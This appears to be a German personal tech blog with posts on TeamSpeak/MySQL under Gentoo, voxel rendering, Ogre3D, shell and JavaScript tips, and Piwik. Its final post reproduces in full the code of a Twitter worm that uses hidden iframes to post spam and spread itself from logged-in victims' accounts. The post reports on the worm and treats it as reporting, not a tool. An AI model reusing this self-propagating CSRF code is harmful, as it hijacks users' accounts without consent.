Teamspeak 3 und MySQL >= 5.1 unter Gentoo
Hallo zusammen!
Ich wollte grade mal auf dem neuen Server hier wieder Teamspeak3 installieren und während der emerge so läuft fällt es mir wieder ein: der TS3 Server braucht die libmysqlclient.so.15 - also die MySQL Client Library zum Server v5.0. Aktuell ist aber v5.1 was einige Verbesserungen mitbringt auf die ich nicht - nur wegen TS3 - verzichten möchte. Da ich das Problem schon beim alten Server hatte, hatte ich aber zum Glück eine Lösung parat. Nämlich die, welche einem überall wenn man nach dem Problem fragt genannt wird: "Kopier einfach die alte Library dazu, passt scho!"
Nun finde ich es nicht so wirklich cool einfach irgendwelche Librarys von irgendwo her zu kopieren und die in mein System zu werfen. Alle "Anleitungen" waren ausserdem nur für CentOS oder Ubuntu oder so. Hier also mal eine für Gentoo:
Momentan sind -zumindest bei mir- alle Versionen vom teamspeak-server-bin noch hard masked. Also erstmal nen passenden Eintrag in die /etc/portage/package.unmask werfen:
echo ">=media-sound/teamspeak-server-bin-3.0.0_rc1" >> /etc/portage/package.unmask
Da nach kann man es ganz normal von portage installieren lassen:
emerge -a teamspeak-server-bin
Dann kann man eigentlich sofort die mysql Sources fetchen:
emerge -f =dev-db/mysql-5.0.91
Nun legt man sich ein Verzeichnis an und entpackt die sources:
mkdir oldmysql mv /usr/portage/distfiles/mysql-5.0.91.tar.gz ./oldmysql/ cd oldmysql tar -xf mysql-5.0.91.tar.gz cd mysql-5.0.91
Jetzt wirds etwas tricky aber nicht wirklich schwierig. Wir müssen dem configure script mitteilen das wir gerne nur die client library hätten. Mittels ./configure --help kann man sich die verfügbaren Optionen anzeigen lassen. Das prefix liegt - per default - auf /usr/local was imho der richtige Ort für von-Hand installierten Libs ist. Also müssen wir nur noch --without-server anhängen. Es hat sich aber gezeigt das es durchaus sinnvoll ist auch noch --with-unix-socket-path=/var/run/mysqld/mysqld.sock mit zu geben da der Client sonst den Socket nicht findet. Wenn jemand weiß wie man das los werden kann möge er es bitte in die Kommentare posten.
Wir bauen uns also unsere Client Library wie folgt:
./configure --without-server --with-unix-socket-path=/var/run/mysqld/mysqld.sock make make install
Das war es im Grunde auch schon, wir sollten nur noch das init-Script fixen damit TS3 die Bibliotheken findet.
Einfach die /etc/init.d/teamspeak3-server aufmachen. Dort drin ist irgendwo eine Zeile wie diese:
export LD_LIBRARY_PATH="/opt/teamspeak3-server:$LD_LIBRARY_PATH"
Bei mir wars Zeile 15. Hier erweitert ihr einfach LD_LIBRARY_PATH durch den Pfad zu den neuen TS3 libs:
export LD_LIBRARY_PATH="/usr/local/lib/mysql/:/opt/teamspeak3-server:$LD_LIBRARY_PATH"
Jetzt müsst ihr eigentlich nur noch eure Configs anpassen. Wie das geht findet ihr etwa hier: http://www.gentooforum.de/artikel/18660/teamspeak-3-server-mit-mysql.html
Ich kann das allerdings auch noch mal hier genauer erwähnen falls das gewünscht ist.
Ich hoffe das dieser Beitrag dem einen oder anderem Serveradmin ein wenig den Tag erleichtert. Vielleicht schaffen es die TS3-Devs ja irgendwann mal MySQL 5.1 zu unterstützen, aber Hoffnung habe ich da wenig.
Details: OVER 9000!!
Momentan verbreitet sich dieses Video von Euclideon wie ein Flächenbrand und das Thema hat mich auf Anhieb gefesselt. Zu behaupten ich hätte von 3D-Grafik wenig Ahnung wäre noch geschmeichelt, daher beruht dieser Blogpost nicht ausschließlich auf meinem eigenen Wissen sondern vor allem auf dem, was ich mir in den letzten Tagen so angelesen habe. Als Quellen dienten mir dabei vor allem die Blogs einiger Leute die sich damit deutlich besser auskennen als ich und die sich teilweise schon länger mit solchen Techniken beschäftigen. Ausserdem auch die Websites einiger großen deutschen Spielemagazine. Ich werde am Ende dieses Posts (möglichst) alle Quellen verlinken und hoffe dabei keine zu vergessen. Im Grunde ist das folgende also nur eine Zusammenfassung von verstreutem Wissen mit meinen bescheidenen Erfahrungen.
Diese Firma behauptet diese Demo wäre mit ihrer neuen Technologie namens "Unlimited Detail" erstellt worden. Angeblich sind alle gezeigen Objekte keine Polygon-Modelle sondern liegen als Punktwolke vor. Das es keine Polymodels sind glaubt ihnen so ziemlich jeder, das wäre ja auch zu einfach. Markus 'Notch' Persson wirft den Australieren hingegen vor es seien keine Point-Clouds sondern "nur" Voxel. Da wären wir als schon beim ersten Problem:
Was sind Voxel, was sind Point-Clouds und was ist der Unterschied?
Fangen wir mal mit den normalen, langweiligen, Polygonmodelen an. So ein Viech besteht aus ein paar (bzw vielen) Punkten die mit graden Linien verbunden sind. Diese wiederrum ergeben Flächen, meines Wissens nach Dreicke. Diese Punkte nennt man dann Vertex, die Flächen "Polygon". Über dieses Gebilde stölpt man dann Texturen und Shader die für Farbe etc. sorgen und dann wird das ganze durch mehr oder weniger aufwendige Verfahren gerastert und man erhält ein 2D Bild von diesem 3D Model. Diese Technik hat den Vorteil das die benötigte Datenmenge überschaubar ist. Zusätzlich sind Animationen denkbar einfach da man nur hier und da ein paar Punkte verschieben muss. Der Nachteil ist der begrenzte Detailgrad. Umso mehr Details man darstellen will desto mehr Polys braucht man. Doch das kostet natürlich Performance.
Anders hingegen sieht es bei den Voxeln aus. Das Ganze muss man sich dann eher wie eine Legowelt vorstellen. Jeder Voxel ist ein Legostein der eine bestimmte Position und eine Farbe hat. Dadurch muss man dann keine Texturen mehr speichern aber verbraucht umso mehr Platz für die ganzen Lego..ähh Voxel. Man kann sich leicht vorstellen das zu jedem Punkt ja Farbe usw. gespeichert werden müssen. Die Position eines Voxels ergibt sich (afaik) aus seinem Speicherort. Die Firma ID (Wolfenstein, Quake, Doom, Rage) setzt bei ihrer kommenden id-Tech-6-Engine auf eine Technik namens Sparse-Octree (SOT) bei der jedem Voxel acht Subvoxel zugeteilt werden. Diesem werden wiederrum jeweils acht Subvoxel zugeteilt usw. Insgesamt geht ID laut einem PCGames Bericht von 2009 davon aus 52 Byte pro Voxel zu brauchen. Der Vorteil dieser Technologie liegt klar beim gigantischen Detailreichtum der damit möglich ist. Außerdem muss man nicht mehr irgendwelche 3D Modelle rastern sondern kann, sogar sehr gut parallelisierbar, mittels Raycasting raus finden welcher Voxel für welchen Pixel auf dem Bildschirm interessant ist und kann damit sehr schnell beliebige Szenen Rendern. Raycasting bedeutet das man einen Strahl von jedem Punkt des Bildschirm aussendet und einfach mal guckt welchen Voxel er trifft. Dieser wird dann genommen um die Farbe des jeweiligen Pixels zu bestimmen. Mittels SOT wird dann dafür gesorgt das nur dort ein Hoher Detailgrad existiert wo er auch gesehen wird, die Subvoxel von Voxeln die nicht getroffen werde müssen somit nicht in betracht gezogen werden was natürlich die Suche nach Treffern beschleunigt. Das ganze hat noch ein paar andere Vorteile die hier aber jetzt nicht Thema sein sollen. Nachteile von Voxeln sind einerseits natürlich die Datenmengen die bei hohem Detailgrad notwendig sind. Schwieriger stell ich mir aber Animationen mit Voxeln vor, da ja die Koordinaten eines Voxels durch seine Position in der Datenmenge bestimmt wird. Eine Animation würde also eine Verschiebung innerhalb der Datenmenge erfordern was natürlich irrsinnig viel Zeit kostet. Einige Leute beschäftigen sich wohl mit Animationen von Voxelobjekten und das scheint vorran zu gehen wenn man seinen Octree sinnvoll aufbaut. Ich werde versuchen da noch etwas mehr Infos zu bekommen und eventuelle diesen Post zu updaten.
Der Unterscheid zwischen Voxeln und Punktwolken liegt jetzt, wenn ich das richtig Verstanden habe, darin, dass bei Punktwolken die Koordinaten des Punktes mit abgespeichert werden. Das ermöglicht zwar eine relative einfache Änderung der Position von Punkten, verbraucht aber noch viel mehr Kapazität.
Was sehen wir denn jetzt in dem Video?
Laut Persson ist es wohl nicht ganz trivial Voxelobjekte zu rotieren, bei Point Clouds wäre das kein Problem da man hier mit ein wenige Mathematik relativ zügig alle Koordinaten umrechnen kann. Sollte das zutreffen könnte es erklären warum in sämtlichen Bildern und Demos dieser Unlimited Detail Leute die Objekte immer gleich ausgerichtet sind. Sieht in der Tat etwas komisch aus.
Weiterhin fällt auf das man ständig die selben Objekte sieht. Diese Säulen aus denen die Insel besteht, die Bäume, Steine etc. Wenn man ein bisschen drauf achtet sieht das ganze, vor allem vom weiten, doch sehr eintönig aus. Damit würde sich natürlich die erforderliche Datenmenge erheblich reduzieren denn wenn ich das selbe Objekt 200 mal darstelle muss ich es trotzdem nur einmal speichern. Diese wurde ebenso von Notch wie auch von @miguelcepero bemerkt, der sich in seinem Blog mit dem generieren von Terrain und Voxeln auseinandersetzt. Die Chancen stehen also gut das wir in dieser Demo keine Punktwolken sehen sondern eher Voxel was ich aber absolut nicht mit Sicherheit sagen kann.
Fest steht aber das beide Techniken enorme Datenmengen verschlucken wenn es abwechslungsreich sein soll. Keiner will in einem Wald hunderte male am selben Baum vorbeilaufen.
Ich stell mir ausserdem die dynamische Beleuchtung von Voxeln schwierig vor da dann für jeden dynamische Lichtquelle wieder extra raycasts gestartet werden müssen was die Performance wieder bremsen wird.
Eine mögliche Lösung für das Animationsproblem wäre laut id die statischen Teile einer Welt mit Voxeln zu bauen und alles was animiert werden muss wird wieder aus Polys gebaut. Dadurch das man aber nun Polys nur noch für einen Teil der Welt braucht werden Kapazitäten frei die man in mehr Details stecken kann. So wie ich das verstanden hab wollen die dann erst die Umgebung aus Voxeln berechnen (raycasting) und auf das Bild dann die Animierten Polygonmodele rastern. Das wirft natürlich neue Fragen nach Schattenwurf usw. auf die ich bisher noch nicht beantworten kann.
Für eine Zusammenfassung ist das jetzt schon echt lang geworden und ich hoffe ich konnte dem ein oder anderem weiterhelfen. Ich würde mich freuen wenn wir in naher Zukunft Detailgrade in Spielen finden die denen in dieser Demo nahe kommen aber ich befürchte das bis dahin noch das ein oder andere Jahr vergeht. Ich bin mal gespannt was die nächsten Wochen und Monate bringen, hoffe das ich total unrecht habe und halte es da wie Notch: "Being wrong is awesome, that’s how you learn."
Hier also mal eine (mit Sicherheit unvollständige) Liste meiner Quellen:
- http://notch.tumblr.com/post/8386977075/its-a-scam
- http://notch.tumblr.com/post/8423008802/but-notch-its-not-a-scam
- http://procworld.blogspot.com/2011/08/unlimited-detail.html
- http://www.pcgameshardware.de/aid,681315/Voxel-Rendering-am-Beispiel-id-Tech-6-erlaeutert/Technologie/Wissen/
- http://unlimiteddetailtechnology.com/home.html
- http://www.gamestar.de/hardware/specials/1956284/neue_id_software_engine_mit_voxel_grafik.html
Vor allem bei Notch und Procworld gibts nen paar nette Links zu wirklich coolen Demos von denen allerdings keine son Aufstand macht wie Euclideon.
Ogred3D Tutorial #01
Um endlich mal was aufs Blatt ins Web zu bekommen schreib ich jetzt erstmal eine kleine Einführung wie Ogre grob funktioniert. Da ich mich wie schon im letzten Post beschrieben, auch grade erst in Ogre einarbeite kann bzw. dieser Überblick natürlich noch recht unvollständig sein. Trotzdem finde ich es enorm praktisch erstmal zu wissen mit was man sich hinterher im Programm auseinander setzen muss bevor man überhaupt anfängt zu Programmieren.
Ein Elementarer Bestandteil von 3D Grafiken, Spielen, Simulationen etc. sind natürlich die 3D Modelle, ohne macht das Ganze recht wenig Freude. Also werden wir uns erstmal ansehn wie Ogre diese handhabt.
Der zentrale Punkt des Ogre3D Render Systems ist wohl der SceneManager. Dieses Objekt hilft uns beim Erzeugen von Objekten (Lichtquellen, 3D Objekten, ...) und verwaltet sie. Eine wichtige Gruppe von Objekten die dieser Manager erstellt sind die sog. Entities was im Grunde alles ist das als 3D Modell dargestellt wird. Lichtquellen und Kameras sind also keine Entites. Jede Entität in Ogre hat einen festen Namen und wird, wie schon gesagt, vom SceneManager erstellt. Um diese Entities nun auch dem gierigen Gamer zeigen zu können muss man sie in den sog. Render-Tree "einhängen". Das ist ein recht simples aber äusserst flexibles Prinzip. Es gibt eine RootSceneNode, also einen Wurzelknoten an die die gesamte Szene angehängt wird. An diesen RootSceneNode können beliebig viele weitere SceneNodes angehängt werden, an den wieder beliebig viele weitere angehängt werden können etc. Ein Baum eben. Die SceneNodes selber haben allerdings keinerlei "Optik", sind also selbst nichts sichtbares. Sie enthalten die Informationen über die Position, Skalierung und Rotation von Entities und anderen Objekten. Die Angaben sind dabei stets relativ zum übergeordneten Knoten. Wenn ich also ein Charakter im Spiel habe und diesem einen Hut aufsetzten möchte hänge ich den Charakter als Entity an einen SceneNode den ich in den RootSceneNode hänge. Nun erzeuge ich mir einen SceneNode, hänge ihn als Kind an den SceneNode des Charakters und gebe ihm das Hutmodell sowie die Koordinaten wo er sich, relativ zum Nullpunkt des Charakters befinden soll. Bewegt sich nun der Charakter, bewegt der Hut sich mit. Klingt komisch, ist aber so!
SceneNodes können also eine beliebige Anzahl anderer SceneNodes und anderer Objekte wie Entities, Lichtquellen oder Partikeln enthalten. Nun haben wir also unsere Objekte irgendwo in unserem imaginären Raum platziert. Nun müssen wir das ganze nur noch in dieses kleine Fenster zwengen. Im Grunde müssen wir dazu Ogre nur sagen was er in welchen Bereich von welchem Fenster rendern soll. Grundlegend dafür sind erstmal natürlich Kameras die bestimmen was sichtbar ist. Eine Camera kann man wie z.B. Entities auch einfach ein SceneNode hängen und mit diesem dann Ausrichten. Dazu erhält eine Kamera weitere Einstellungen wie das Seitenverhältnis oder die Distanzen ab wann Objekte ein- bzw. ausgeblendet werden sollen. Dazu kommen wir aber wenns dann endlich soweit ist. Nun lassen wir uns noch von Ogre ein Fenster erstellen und erzeugen mit diesem einen Viewport in dem alles angezeigt wird was die Kamera "filmt". In den meisten fällen wird man als Viewport das gesamte Fenster nutzten aber es gibt auch etliche Fälle wo man den Fensterbereich aufteilen will. Denkt nur mal an Split-Screen Szenen oder dieses coole "Punkt beobachten"-Feature der frühen Siedler-Teile. Oder die Minimap von SupremeCommander...
So, grob gesagt ist das alles was man für das erste sichtbare Ergebnis so braucht. Damit man damit auch was Sinnvolles anfangen kann ist es natürlich noch ganz praktisch wenn man die Benutzereingaben verarbeiten kann oder allgemein etwas mehr Interaktivität in die schöne heile Scene bringt. Das soll aber erst später Thema hier werden. Im nächsten Teil werden wir (hoffentlich) endlich mal was Programmieren. Ziel wird es dann sein die hier beschriebenen Teile möglichst flexibel zusammen zu kleben so das am Ende ein kleines Programm rauskommt das uns eine noch unserer Vorstellung gestaltete Szene rendert. Sicherlich nichts mit dem man sich bei Blizzard bewerben sollte, aber immerhin ein wichtiger Anfang.
Bis denn!
Ogre3D Tutorial #00
Hallo zusammen,
ich fange momentan an mich ein wenig mit Ogre3d zu beschäftigen. Das bringt für mich einige interessante Dinge zusammen die ich sowieso mal machen wollte. Grafikprogrammierung (und dann noch 3D!) in C++! Da kommen allerlei interessante Sachen zusammen und das Ergebnis ist hinterher hoffentlich Eindrucksvoller und damit auch motivierender als ein schnödes QT Programm.
Ich werde also wohl die bald anfangende Vorlesungsfreie Zeit nutzten und mich mit den Grundlagen von Ogre vertraut machen indem ich einige Tutorials durchacker und nen paar Kisten Code produziere.
Ich hielt es für ne coole Idee wenn ich immer möglichst parallel hier über meinen Fortschritt berichte und damit ein kleines eigenes Schritt-für-Schritt Tutorial aufziehe bei dem ich dann auch immer direkt auf die Probleme die ich hatte eingehen werde.
Ich habe noch keine genaue Idee was am Ende dabei rumkommen soll, eher einige mögliche Kandidaten. Am Anfang werde ich (oder wir?) also erstmal ein wenig mit Ogre rumspielen und dabei sowas wie ein loses Framework bauen mit dem man dann später arbeiten kann. Hierbei kann es aufgrund meiner geringen (lies: nicht vorhandenen) Erfahrung mit Ogre und allgemein Programmierung solcher Projekte natürlich immer dazu kommen das man zuvor programmiertes über den Haufen wirft weil es sich als unsinnig oder unnötig erwiesen hat. Das ist aber meiner Meinung nach nicht weiter schlimm, denn aus Fehlern lernt man und hinterher weiß man es halt dann besser.
Ich denke ich werde zu dem Tutorial ein git Repository aufsetzten und dort die einzelnen Etappen als Branches oder so hinterlegen, mal sehn.
Den ersten richtigen Artikel kann man denke ich Anfang bzw. Mitte nächster Woche erwarten, bis dahin bin ich hier noch ein wenig mit Mathe belastet, wir werden sehn.
Ich hoffe auf Anregungen, Kritik und sonstige Kommentare denn, solang alles konstruktiv bleibt, kann das nur nützen.
Achso, für die die schonmal anfangen wollen sich das ganze anzugucken gibt es ein Wiki mit massig Stoff zum lesen: www.ogre3d.org/tikiwiki/
Bis denn!
Quicktip: curl blabla.tar | tar -x
Man tut es ja quasi täglich, .tar.xyz Dateien runterladen und entpacken. Über die GUI nervt das natürlich weil man ja hinterher eh mit dem Terminal rein will, also habe ich es bis jetzt immer so gemacht das ich mir per wget das Archiv geholt und des dann mit tar -xf foo.tar enpackt habe. Aber dafür zwei Zeilen zu verschwenden und dann auch noch das Archiv da rumliegen zu haben ist doch etwas semioptimal. Schön wäre es wenn ich das Archiv runterladen und sofort entpacken könnte.
Noch schöner das tar problemlos stdin als Input nehmen kann, einfach den -f Parameter weglassen. Wenn man das ganze jetzt noch mit curl kombiniert das per default auch alles was es bekommt in den stdout spammt hat man doch schon einen wunderschönen Einzeiler der endlich alles tut was man will: Runterlade & entpacken. Und das alles noch im Stream, kein lästiges zwischenspeichern auf der Platte!
Das Ganze sähe in etwa so aus: curl http://pfad/zum/tarball | tar -x eventuell natürlich mit beliebigen weiteren tar Parametern wie -j für bz2 Archive oder -z für gzip.
Da ich aber selbst dafür zu faul bin habe ich mir gleich noch nen kleines Shellscript gehackt was das ganze nochmal vereinfacht.
#!/bin/sh CURL=`which curl` TAR=`which tar` path=$1 shift params=$* $CURL $path | $TAR -x $params
Das ganze gibt es zu allem Überfluss auch noch zum selberforken etc. auf GitHub: https://gist.github.com/986609
Wenn mir jemand sagt wie ich in einem alias auf die unterschiedlichen Paramter zugreifen kann wäre das natürlich noch schöner, aber das Shellscript tut seinen Dienst.
nodejs installation und deren Probleme
Heute wollte ich bei mir mal nodejs aus dem Portage installieren. Build läuft wunderbar, allerdings startet node genausowenig wie d8, im Terminal werde ich mit einem "Getötet" abgespeist. Da ich allerdings die Tötung von unschuldigen node-Prozessen nicht dulden kann habe ich etwas nachgehakt.
Erster schritt: gdb node
Ergebnis:
Starting program: /usr/bin/node
Program terminated with signal SIGKILL, Killed.
The program no longer exists.
Tatsache: Da schießt jemand auf meine Prozesse! Schweinerei, wer ist die Sau?
Gleich mal dmesg gefragt:
PAX: From AA.BB.CC.DD: execution attempt in:
PAX: terminating task: /usr/bin/node(node):3383, uid/euid: 0/0, PC: 4f923060, SP: 5ab3e5dc
PAX: bytes at PC: 55 9c 51 53 8b ec 9c 58 8b d0 35 00 00 20 00 50 9d 9c 58 33
PAX: bytes at SP-4:
(AA.BB.CC.DD = meine lokale ip)
Uiuiui..PaX greift ein. Wer/Was ist PaX? Google fragen.
Laut Wiki ist PaX "ein Sicherheitspatch für den Linux-Betriebssystemkern, der einen "Geringste-Rechte"-Schutz (engl. least privilege) für Speicherseiten implementiert.". Ahh ja. Schön und gut, darum hab ich hardened, trotzdem möchte ich node nutzten. Ich vertrau der Software einfach mal. Wie kann ich PaX als mitteilen das das schon klar geht? Wieder Onkel google gefragt und prompt fündig geworden. paxctl -m /usr/bin/node BÄM läuft! Danke Internet!
Quicktip: console.log
Wenn man am Frontend bastelt vergleicht man ja ständig alle möglichen Browser miteinander. Zumindest bei mir kommt es dann hin und wieder zu Problem wenn ich Javascript im Firefox teste da dieser ohne aktivierten Firebug kein console-Objekt kennt und somit bei Debug- und Fehlerausgaben einfach mit einer entsprechenden Meldung in der Javascript Konsole stirbt. Dieses kleine Problem hat mich schon viele Nerven gekostet obwohl es eigentlich do recht einfach zu lösen ist.
Wir bauen uns, wenn noch keines existiert, einfach unser eingenes window.console und legen es tot, damit erfüllt es zwar keinen Zweck aber Firefox gibt ruhe.
Hier mal die 111Bytes code:
1 2 | if(!window.console) { window.console = {}; } if(!window.console.log) { window.console.log = function(){};} |
Einfach oder?
Piwik lebt
Vor zwei Monaten schrieb ich das erste mal über Piwik, die OpenSource Alternative zu Google Analytics. Inzwischen nutzte ich Piwik auf vier Webseiten, komme aber trotzdem noch nicht auf repräsentative PI-Zahlen. Insgesamt performt Piwik aber nach wie vor unverändert. Die Geschwindigkeit haut mich nicht vom Hocker aber es läuft. Wie man merkt läd der Blog hier auch was länger, das kann also durchaus auch am Webserver liegen.
Nach dem "Langzeittest" bin ich eigentlich ganz angetan von Piwik. Es gibt mit WP-Piwik ein durchaus gutes WordPress Plugin das einem das rumgebastelt an den Templates abnimmt. Das kann dann auch so feine Sachen wie das "ausblenden" des Tracking Codes wenn der Besucher z.B. ein angemeldeter Administrator oder Author ist. Die Einrichtung ist denkbar einfach. Installieren, URL zu Piwik und den API Token eingeben, Seite auswählen, Fertig. Nach bedarf kann dann halt noch ausgewählt werden welche Gruppe nicht getracked werden sollen. Im Dashboard gibt es dann eine kleine Übersicht während eine eigene Seite im Backend nahezu alle wichtigen und unwichtigen Informationen, teilweise auch in schönen Graphen, darstellt.
Meine Empfehlung für jeden der auf der Suche nach einer schönen Statistik ist: Einfach mal testen, ich werde es weiter benutzen und ggf. erneut berichten.
Piwik-Test
Seit ein paar Tagen teste ich inzwischen auf dem Blog hier und auf dem FH-Stundenplan-Interface die OpenSource Tackingsoftware Piwik. Der erste Eindruck ist leider nicht der beste. Es ist vor allem eins: Langsam. Durch das asynchrone Laden auf der zu trackenden Page wird diese zwar nicht verlangsamt, das Interface an sich lässt allerdings schon einige Zeit auf sich warten. Genau das bringt auch den Apache auf der kleinen Maschine hier schon ganz gut ins schwitzen.
Bei der Recherche habe ich gefunden das es wohl bei hohem Traffic auch der Trackingteil auf der Website schnell zu starker Last auf dem MySQL Server führt. Da ich hier aber eher nicht mit 100.000PI's oder gar mehr rechne passt das schon.
Zum Interface kann ich ansonsten nur gutes Sage. Es sieht nett aus und lässt sich gut bedienen (abgesehn von der schon erwähnten Ladezeit). Die Statistiken sind sehr Übersichtlich und alles erinnert stark an das große Vorbild Google Analytics.
Wenn man genügend Hardwarereserven hat macht Piwik sicherlich Spaß. Leider wird das mit dem Singlecore Celeron hier wohl nix. Also weiter nach ner schönen Lösung suchen.
Neuer Wurm bei Twitter
Mal wieder wurden Twitternutzer Opfer eines Scriptkiddy. Das Stückchen "Schadcode" sah diesmal so aus:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | <html> <head></head> <body> <script> var el1 = document.createElement('iframe'); var el2 = document.createElement('iframe'); el1.style.visibility="hidden"; el2.style.visibility="hidden"; el1.src = "http://twitter.com/share/update?status=WTF:%20" + window.location; el2.src = "http://twitter.com/share/update?status=i%20love%20anal%20sex%20with%20goats"; document.getElementsByTagName("body")[0].appendChild(el1); document.getElementsByTagName("body")[0].appendChild(el2); </script> </body> </html> |
Also wie man sieht nix tolles. Wir basteln uns zwei iframe, nutzen darüber die Twitter REST API um ein bissel zu Unfug und die URL mit dem dem Script selbst zu verbreiten. Wenn der User auf der Twitter Website eingeloggt ist gibt es keinerlei Abfrage oder ähnliche Blockaden. Da kommt Freude auf!
Wiedermal gilt: Gefährlich ist da noch nix, nur nervig!
Um 18:41 UTC meldete Twitter sie hätten den "Exploit" gefixt und würden nun die betreffenden Posts löschen. Wie sie das Gefixt haben ist mir noch nicht ganz klar da der Wurm nur die offizielle API nutzt. Ist also eher eine "by Design" Lücke. Aber hier scheint sich die t.co-Aktion mal wieder gelohnt zu haben. So konnte die URL schnell gesperrt werden und das ganze war ein recht kurzer Spaß.
Mal sehn was als nächstes kommt.